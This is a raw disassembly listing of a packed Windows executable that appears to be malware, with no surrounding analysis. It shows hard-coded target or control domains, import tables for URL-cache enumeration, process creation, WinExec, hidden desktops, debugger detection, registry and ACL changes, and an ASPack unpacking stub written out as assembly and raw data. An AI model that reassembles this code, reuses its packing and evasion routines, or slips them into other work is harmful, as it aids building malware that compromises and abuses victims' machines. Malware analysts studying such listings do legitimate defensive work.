aWww_cbr_ru	db 'www.cbr.ru',0       ; DATA XREF: .data:0043C0D4o
aProdexteam_n_0	db 'prodexteam.net/main.htm',0 ; DATA XREF: .data:0043C0D0o
aProdexteam_net	db 'prodexteam.net',0   ; DATA XREF: .data:0043C0CCo
aChechenpress_i	db 'chechenpress.info',0 ; DATA XREF: .data:0043C0C8o
aSiliconfirewar	db 'siliconfireware.ru',0 ; DATA XREF: .data:off_43C0C4o
		db '://',0
		align 4
dword_447ACC	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_447ADC	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_406D2E+92Do
dword_447AEC	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_447AFC	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_447B0C	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_447B1C	dd 2 dup(0)			dd 0C0h, 46000000h
dword_447B2C	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fhdword_447B3C	dd 10h dup(0)						; sub_40BCDC:loc_40BCF6o ...
dword_447B7C	dd 0							; sub_40BC80:loc_40BCC2o ...
		dd 0Fh dup(0)
dword_447BBC	dd 0							; sub_40BDE5+825r
dword_447BC0	dd 0							; sub_40BDE5+82Cr
dword_447BC4	dd 0							; sub_40BDE5+834r
dword_447BC8	dd 0							; sub_40BDE5+83Cr
		align 800h
_data		ends

; Section 4. (virtual address 00048000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00048000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 448000h
off_448000	dd offset dword_44810C	; DATA XREF: .idata:00448E00o
		dd 2 dup(0)
		dd offset dword_44810C
		dd offset dword_44810C
off_448014	dd offset dword_44811C	; DATA XREF: .idata:00448E10o
					; .idata:00448E14o
		align 10h
		dd offset dword_44811C
		dd offset dword_44811C
off_448028	dd offset dword_448134	; DATA XREF: .idata:00448E24o
					; .idata:00448E28o ...
		dd 2 dup(0)
		dd offset dword_448134
		dd offset dword_448134
off_44803C	dd offset dword_448214	; DATA XREF: .idata:00448E44o
					; .idata:00448E48o ...
		dd 2 dup(0)
		dd offset dword_448214
		dd offset dword_448214
off_448050	dd offset dword_448290	; DATA XREF: .idata:00448F28o
					; .idata:00448F2Co ...
		dd 2 dup(0)
		dd offset dword_448290
		dd offset dword_448290
off_448064	dd offset dword_4482AC	; DATA XREF: .idata:00448FA8o
					; .idata:00448FACo ...
		align 10h
		dd offset dword_4482AC
		dd offset dword_4482AC
off_448078	dd offset dword_4482E8	; DATA XREF: .idata:00448FCCo
					; .idata:00448FD0o ...
		dd 2 dup(0)
		dd offset dword_4482E8
		dd offset dword_4482E8
off_44808C	dd offset dword_448338	; DATA XREF: .idata:0044900Co
					; .idata:00449010o ...
		dd 2 dup(0)
		dd offset dword_448338
		dd offset dword_448338
		dd 1Ah dup(0)
		dd 48574h
dword_44810C	dd 2 dup(0)						; .idata:0044800Co ...
		dd 48588h, 485A4h
dword_44811C	dd 2 dup(0)						; .idata:00448020o ...
		dd 485C0h, 485D4h, 485E8h, 485F8h
dword_448134	dd 2 dup(0)						; .idata:00448034o ...
		dd 4860Ch, 4861Ch, 4862Ch, 48648h, 4865Ch, 48674h, 4868Ch
		dd 4869Ch, 486ACh, 486BCh, 486D4h, 486E8h, 486FCh, 48710h
		dd 48728h, 48738h, 48748h, 48758h, 48768h, 48778h, 48790h
		dd 487A8h, 487BCh, 487D0h, 487E4h, 487FCh, 48814h, 48824h
		dd 48834h, 48848h, 48858h, 48864h, 48874h, 48880h, 48890h
		dd 488A0h, 488ACh, 488B8h, 488C8h, 488D8h, 488ECh, 488FCh
		dd 48904h, 48918h, 48928h, 48938h, 48948h, 48960h, 4896Ch
		dd 48978h, 48988h, 48994h, 489A0h, 489B4h
dword_448214	dd 2 dup(0)						; .idata:00448048o ...
		dd 489C4h, 489D8h, 489ECh, 489FCh, 48A0Ch, 48A18h, 48A28h
		dd 48A34h, 48A4Ch, 48A5Ch, 48A68h, 48A74h, 48A84h, 48A94h
		dd 48AA8h, 48ABCh, 48AD0h, 48AE4h, 48AF8h, 48B0Ch, 48B20h
		dd 48B2Ch, 48B3Ch, 48B50h, 48B64h, 48B74h, 48B88h, 48B98h
		dd 48BA8h
dword_448290	dd 2 dup(0)						; .idata:0044805Co ...
		dd 48BBCh, 48BD0h, 48BE0h, 48BF0h, 48C08h
dword_4482AC	dd 2 dup(0)						; .idata:00448070o ...
		dd 48C18h, 48C2Ch, 48C44h, 48C58h, 48C68h, 48C78h, 48C8Ch
		dd 48CA0h, 48CB4h, 48CC8h, 48CDCh, 48CF8h, 48D10h
dword_4482E8	dd 2 dup(0)						; .idata:00448084o ...
		dd 48D2Ch, 48D34h, 48D44h, 48D50h, 48D5Ch, 48D64h, 48D6Ch
		dd 48D78h, 48D84h, 48D90h, 48D98h, 48DA0h, 48DACh, 48DB8h
		dd 48DC0h, 48DCCh, 48DD8h, 48DE4h
dword_448338	dd 2 dup(0)						; .idata:00448098o ...
dword_448340	dd 77124C05h			dd 2 dup(0)
dword_44834C	dd 42C2DE3Dh	; resolved to->WININET.FindFirstUrlCacheEntryAdword_448350	dd 42C2E399h	; resolved to->WININET.FindNextUrlCacheEntryA		dd 2 dup(0)
dword_44835C	dd 774FFAC3h	dword_448360	dd 7750CB9Ch	dword_448364	dd 77502A37h	dword_448368	dd 774FEE36h			dd 2 dup(0)
dword_448374	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileAdword_448378	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_44837C	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_448380	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_448384	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_448388	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_44838C	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_448390	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_448394	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_448398	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_44839C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_4483A0	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4483A4	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeapdword_4483A8	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_4483AC	dd 7C809B47h	; resolved to->KERNEL32.CloseHandledword_4483B0	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathAdword_4483B4	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_4483B8	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4483BC	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_4483C0	dd 7C821BA5h	; resolved to->KERNEL32.GetVolumeInformationAdword_4483C4	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_4483C8	dd 7C8360A9h	; resolved to->KERNEL32.GlobalAddAtomAdword_4483CC	dd 7C830BBBh	; resolved to->KERNEL32.GlobalDeleteAtomdword_4483D0	dd 7C8360C3h	; resolved to->KERNEL32.GlobalFindAtomAdword_4483D4	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_4483D8	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrementdword_4483DC	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_4483E0	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_4483E4	dd 7C813093h	; resolved to->KERNEL32.IsDebuggerPresentdword_4483E8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_4483EC	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_4483F0	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_4483F4	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4483F8	dd 7C80EA1Bh	; resolved to->KERNEL32.OpenMutexAdword_4483FC	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_448400	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_448404	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_448408	dd 7C90311Bh	; resolved to->NTDLL.RtlZeroMemorydword_44840C	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_448410	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_448414	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_448418	dd 7C802442h	; resolved to->KERNEL32.Sleepdword_44841C	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_448420	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_448424	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_448428	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_44842C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiBytedword_448430	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_448434	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_448438	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_44843C	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenAdword_448440	dd 7C809A09h	; resolved to->KERNEL32.lstrlenWdword_448444	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_448448	dd 7C810637h	; resolved to->KERNEL32.CreateThread		dd 2 dup(0)
dword_448454	dd 7E41F642h	; resolved to->USER32.CallWindowProcAdword_448458	dd 7E43212Bh	; resolved to->USER32.GetWindowTextAdword_44845C	dd 7E41B6D4h	; resolved to->USER32.GetWindowRectdword_448460	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_448464	dd 7E41BC7Dh	; resolved to->USER32.GetWindowdword_448468	dd 7E42F420h	; resolved to->USER32.GetClassNameAdword_44846C	dd 7E41DA60h	; resolved to->USER32.SetFocusdword_448470	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_448474	dd 7E41EF69h	; resolved to->USER32.LoadCursorAdword_448478	dd 7E418C2Eh	; resolved to->USER32.SetTimerdword_44847C	dd 7E4208CEh	; resolved to->USER32.LoadIconAdword_448480	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_448484	dd 7E42E002h	; resolved to->USER32.GetMessageAdword_448488	dd 7E41945Dh	; resolved to->USER32.GetWindowLongAdword_44848C	dd 7E41D60Dh	; resolved to->USER32.SetWindowLongAdword_448490	dd 7E455BD7h	; resolved to->USER32.CreateDesktopAdword_448494	dd 7E42E8D1h	; resolved to->USER32.SetThreadDesktopdword_448498	dd 7E419A51h	; resolved to->USER32.GetThreadDesktopdword_44849C	dd 7E418BF6h	; resolved to->USER32.TranslateMessagedword_4484A0	dd 7E4196B8h	; resolved to->USER32.DispatchMessageAdword_4484A4	dd 7E41A8ADh	; resolved to->USER32.wsprintfAdword_4484A8	dd 7E42F383h	; resolved to->USER32.SendMessageAdword_4484AC	dd 7E420A36h	; resolved to->USER32.RegisterClassAdword_4484B0	dd 7E42E1D1h	; resolved to->USER32.PostQuitMessagedword_4484B4	dd 7E41D8A4h	; resolved to->USER32.ShowWindowdword_4484B8	dd 7E41FF33h	; resolved to->USER32.CreateWindowExAdword_4484BC	dd 7E41DAEAh	; resolved to->USER32.DestroyWindowdword_4484C0	dd 7E41DBECh	; resolved to->USER32.MoveWindowdword_4484C4	dd 7E41D4EEh	; resolved to->USER32.DefWindowProcA		align 10h
dword_4484D0	dd 77F161D1h	; resolved to->GDI32.GetStockObjectdword_4484D4	dd 77F15E39h	; resolved to->GDI32.SetBkColordword_4484D8	dd 77F15D87h	; resolved to->GDI32.SetTextColordword_4484DC	dd 77F1D991h	; resolved to->GDI32.CreateBrushIndirectdword_4484E0	dd 77F3B730h	; resolved to->GDI32.CreateFontA		dd 2 dup(0)
dword_4484EC	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessTokendword_4484F0	dd 77DD7B76h	; resolved to->ADVAPI32.GetTokenInformationdword_4484F4	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_4484F8	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_4484FC	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_448500	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_448504	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_448508	dd 77DF08D5h	; resolved to->ADVAPI32.GetSecurityInfodword_44850C	dd 77DF087Fh	; resolved to->ADVAPI32.SetSecurityInfodword_448510	dd 77E215D9h	; resolved to->ADVAPI32.SetEntriesInAclAdword_448514	dd 77DFD4B0h	; resolved to->ADVAPI32.GetSidIdentifierAuthoritydword_448518	dd 77DF9839h	; resolved to->ADVAPI32.GetSidSubAuthoritydword_44851C	dd 77DF986Bh	; resolved to->ADVAPI32.GetSidSubAuthorityCount		dd 2 dup(0)
dword_448528	dd 73D96FEBh	dword_44852C	dd 73D91C28h	dword_448530	dd 73D92B86h	dword_448534	dd 73D9A3B0h	dword_448538	dd 73D9B9A2h	dword_44853C	dd 73D91F60h	dword_448540	dd 73D9D320h	dword_448544	dd 73D9D340h	dword_448548	dd 73D9D5E0h	dword_44854C	dd 73D9242Ch	dword_448550	dd 73D9DBAFh	dword_448554	dd 73D92226h	dword_448558	dd 73D9E5C5h	dword_44855C	dd 73D9DBA2h	dword_448560	dd 73D9E61Eh	dword_448564	dd 73D9E65Ch	dword_448568	dd 73D9E69Ch	dword_44856C	dd 73D9F24Ch			dd 0
		dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0
		dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h
		dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch
		dd 6E456568h, 41797274h, 0
		dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch
		dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h
		dd 696C6169h, 657Ah, 6F43005Bh,	6E696E55h, 61697469h, 657A696Ch
		dd 0
		dd 6544006Bh, 6574656Ch, 656C6946h, 41h, 7845009Bh, 72507469h
		dd 7365636Fh, 73h, 7845009Dh, 646E6170h, 69766E45h, 6D6E6F72h
		dd 53746E65h, 6E697274h, 417367h, 654700EDh, 6D6F4374h
		dd 646E616Dh, 656E694Ch, 41h, 65470112h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 64h, 65470115h, 72754374h, 746E6572h
		dd 65726854h, 64496461h, 0
		dd 6547012Fh, 6C694674h, 7A695365h, 65h, 65470131h, 6C694674h
		dd 6D695465h, 65h, 6547013Ch, 73614C74h, 72724574h, 726Fh
		dd 65470147h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 65470149h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470167h
		dd 6F725074h, 64644163h, 73736572h, 0
		dd 6547016Ah, 6F725074h, 73736563h, 70616548h, 0
		dd 65470188h, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	6C430027h, 4865736Fh, 6C646E61h, 65h, 6547019Ah
		dd 6D655474h, 74615070h, 4168h,	654701A4h, 63695474h, 756F436Bh
		dd 746Eh, 654701ACh, 72655674h,	6E6F6973h, 0
		dd 654701ADh, 72655674h, 6E6F6973h, 417845h, 654701AFh
		dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh
		dd 654701B7h, 6E695774h, 73776F64h, 65726944h, 726F7463h
		dd 4179h, 6C4701BAh, 6C61626Fh,	41646441h, 416D6F74h, 0
		dd 6C4701BEh, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C4701BFh
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C4701C8h, 6C61626Fh
		dd 6F6D654Dh, 74537972h, 73757461h, 0
		dd 6E4901EBh, 6C726574h, 656B636Fh, 636E4964h, 656D6572h
		dd 746Eh, 734901F1h, 52646142h,	50646165h, 7274h, 734901F4h
		dd 57646142h, 65746972h, 727450h, 734901F7h, 75626544h
		dd 72656767h, 73657250h, 746E65h, 6F4C0203h, 694C6461h
		dd 72617262h, 4179h, 6F430033h,	69467970h, 41656Ch, 6F4C0209h
		dd 416C6163h, 636F6C6Ch, 0
		dd 6F4C020Dh, 466C6163h, 656572h, 704F0230h, 754D6E65h
		dd 41786574h, 0
		dd 704F0232h, 72506E65h, 7365636Fh, 73h, 6552025Ch, 69466461h
		dd 656Ch, 74520278h, 776E556Ch,	646E69h, 74520279h, 72655A6Ch
		dd 6D654D6Fh, 79726Fh, 72430042h, 65746165h, 656C6946h
		dd 41h,	655302A8h, 6C694674h, 696F5065h, 7265746Eh, 0
		dd 655302ACh, 6C694674h, 6D695465h, 65h, 6C5302DCh, 706565h
		dd 655402E4h, 6E696D72h, 50657461h, 65636F72h, 7373h, 695602FEh
		dd 61757472h, 6C6C416Ch, 636Fh,	69560300h, 61757472h, 6572466Ch
		dd 65h,	69560305h, 61757472h, 6575516Ch, 7972h,	69570311h
		dd 68436564h, 6F547261h, 746C754Dh, 74794269h, 65h, 69570312h
		dd 6578456Eh, 63h, 7257031Dh, 46657469h, 656C69h, 7243004Fh
		dd 65746165h, 6574754Dh, 4178h,	736C0345h, 656C7274h, 416Eh
		dd 736C0346h, 656C7274h, 576Eh,	72430054h, 65746165h, 636F7250h
		dd 41737365h, 0
		dd 7243005Ah, 65746165h, 65726854h, 6461h, 61430063h, 69576C6Ch
		dd 776F646Eh, 636F7250h, 41h, 6547006Ch, 6E695774h, 54776F64h
		dd 41747865h, 0
		dd 65470073h, 6E695774h, 52776F64h, 746365h, 69460078h
		dd 6957646Eh, 776F646Eh, 41h, 6547007Ch, 6E695774h, 776F64h
		dd 65470011h, 616C4374h, 614E7373h, 41656Dh, 655300CFh
		dd 636F4674h, 7375h, 654700D4h,	726F4674h, 6F726765h, 57646E75h
		dd 6F646E69h, 77h, 6F4C0019h, 75436461h, 726F7372h, 41h
		dd 6553010Ah, 6D695474h, 7265h,	6F4C001Bh, 63496461h, 416E6Fh
		dd 654D0140h, 67617373h, 786F4265h, 41h, 65470023h, 73654D74h
		dd 65676173h, 41h, 65470169h, 6E695774h, 4C776F64h, 41676E6Fh
		dd 0
		dd 6553016Bh, 6E695774h, 4C776F64h, 41676E6Fh, 0
		dd 7243016Eh, 65746165h, 6B736544h, 41706F74h, 0
		dd 65530175h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470176h
		dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540027h, 6C736E61h
		dd 4D657461h, 61737365h, 6567h,	69440028h, 74617073h, 654D6863h
		dd 67617373h, 4165h, 737701FBh,	6E697270h, 416674h, 65530034h
		dd 654D646Eh, 67617373h, 4165h,	65520005h, 74736967h, 6C437265h
		dd 41737361h, 0
		dd 6F500041h, 75517473h, 654D7469h, 67617373h, 65h, 6853004Fh
		dd 6957776Fh, 776F646Eh, 0
		dd 72430053h, 65746165h, 646E6957h, 7845776Fh, 41h, 65440055h
		dd 6F727473h, 6E695779h, 776F64h, 6F4D005Ah, 69576576h
		dd 776F646Eh, 0
		dd 65440061h, 6E695766h, 50776F64h, 41636F72h, 0
		dd 65470089h, 6F745374h, 624F6B63h, 7463656Ah, 0
		dd 655300CAh, 436B4274h, 726F6C6Fh, 0
		dd 655300DDh, 78655474h, 6C6F4374h, 726Fh, 724300FAh, 65746165h
		dd 73757242h, 646E4968h, 63657269h, 74h, 7243001Ch, 65746165h
		dd 746E6F46h, 41h, 704F0018h, 72506E65h, 7365636Fh, 6B6F5473h
		dd 6E65h, 6547001Ah, 6B6F5474h,	6E496E65h, 6D726F66h, 6F697461h
		dd 6Eh,	65520173h, 65724367h, 4B657461h, 78457965h, 41h
		dd 65520176h, 6F6C4367h, 654B6573h, 79h, 6552017Bh, 65704F67h
		dd 79654B6Eh, 417845h, 65520186h, 65755167h, 61567972h
		dd 4565756Ch, 4178h, 65520192h,	74655367h, 756C6156h, 41784565h
		dd 0
		dd 654701CCh, 63655374h, 74697275h, 666E4979h, 6Fh, 655301CFh
		dd 63655374h, 74697275h, 666E4979h, 6Fh, 655301D6h, 746E4574h
		dd 73656972h, 63416E49h, 416Ch,	6547004Ah, 64695374h, 6E656449h
		dd 69666974h, 75417265h, 726F6874h, 797469h, 6547004Bh
		dd 64695374h, 41627553h, 6F687475h, 79746972h, 0
		dd 6547004Ch, 64695374h, 41627553h, 6F687475h, 79746972h
		dd 6E756F43h, 74h, 695F00E8h, 616F74h, 5F5F0018h, 4D746547h
		dd 416E6961h, 736772h, 735F0181h, 7065656Ch, 0
		dd 735F01A6h, 63697274h, 706Dh,	626101F6h, 73h,	7865020Ah
		dd 7469h, 656D0253h, 706D636Dh,	0
		dd 656D0254h, 7970636Dh, 0
		dd 656D0256h, 7465736Dh, 0
		dd 61720260h, 657369h, 61720261h, 646Eh, 6973026Ah, 6C616E67h
		dd 0
		dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h
		dd 666E6163h, 0
		dd 74730271h, 74616372h, 0
		dd 74730272h, 72686372h, 0
		dd 7473027Bh, 6D636E72h, 70h, 41454C4Fh, 32335455h, 4C4C442Eh
		dd 0
		dd offset off_448000
aWininet_dll	db 'WININET.DLL',0
		dd offset off_448014
		dd offset off_448014
aOle32_dll	db 'ole32.DLL',0
		align 4
		dd offset off_448028
		dd offset off_448028
		dd offset off_448028
		dd offset off_448028
aKernel32_dll_1	db 'KERNEL32.dll',0
		align 4
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
		dd offset off_44803C
aUser32_dll_0	db 'USER32.DLL',0
		align 4
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
		dd offset off_448050
aGdi32_dll	db 'GDI32.DLL',0
		align 4
		dd offset off_448064
		dd offset off_448064
		dd offset off_448064
		dd offset off_448064
		dd offset off_448064
aAdvapi32_dll_0	db 'ADVAPI32.DLL',0
		align 4
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
		dd offset off_448078
aCrtdll_dll	db 'CRTDLL.DLL',0
		align 4
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		dd offset off_44808C
		align 1000h
_idata		ends

; Section 5. (virtual address 0004A000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0004A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_aspack		segment	para public 'DATA' use32
		assume cs:_aspack
		;org 44A000h
		db 90h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		call	sub_44A577
		jmp	short loc_44A055
; ---------------------------------------------------------------------------
		align 4
		dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0)
		dd 4A00001h, 0AD000000h, 0AB000000h, 809A5100h,	809AE47Ch
		dd 7Ch,	3 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_44A055:				; CODE XREF: start+6j
		mov	ebx, offset dword_4439A4
		add	ebx, ebp
		sub	ebx, ss:dword_4439D5[ebp]
		cmp	ss:dword_444804[ebp], 0
		mov	ss:dword_444804[ebp], ebx
		jnz	loc_44A4DB
		lea	eax, dword_44480C[ebp]
		push	eax
		call	ss:dword_444918[ebp]
		mov	ss:dword_444808[ebp], eax
		mov	edi, eax
		lea	ebx, dword_444819[ebp]
		push	ebx
		push	eax
		call	ss:dword_444914[ebp]
		mov	ss:dword_4439E1[ebp], eax
		lea	ebx, dword_444826[ebp]
		push	ebx
		push	edi
		call	ss:dword_444914[ebp]
		mov	ss:dword_4439E5[ebp], eax
		lea	eax, dword_443B72[ebp]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 40h,	2 dup(0)
		dd 80000000h, 12190004h, 2 dup(0)
		dd 10000000h, 0BC980000h, 0C0000000h, 0BBCC0003h, 80000000h
		dd 10540004h, 36h dup(0)
		dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h
		dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h
		dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h
		dd 4468B00h, 10E05h, 68046A00h,	1000h, 0FF006A50h, 4439E195h
		dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh
		dd 76FF0044h, 0E8535004h, 339h,	39D4BD80h, 75000044h, 0D485FE5Ch
		dd 8B004439h, 4BD033Eh,	0FF004448h, 0C307C637h,	78FD7FFh
		dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh
		dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh
		dd 75063E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h
		dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h
		dd 4439D9B5h, 2F9C100h,	0C88BA5F3h, 0F303E183h,	685EA4h
		dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h
		dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh
		dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h
		dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h
		dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h
		dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h
		dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh,	7402FB83h
		dd 3FB8316h, 2CEB2074h,	811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh
		dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh
		dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h
		dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h
		dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h
		dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h
		dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h
		dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h
		dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h,	3107E8Bh
		dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h
		dd 3047580h, 534343DAh,	0FFFFE381h, 0FF537FFFh,	4439B1B5h
		dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h
		dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h
		dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h
		dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h
		dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h
		dd 468B5716h, 485030Ch,	50004448h, 0D0858D53h, 50004448h
		dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h,	890689FFh
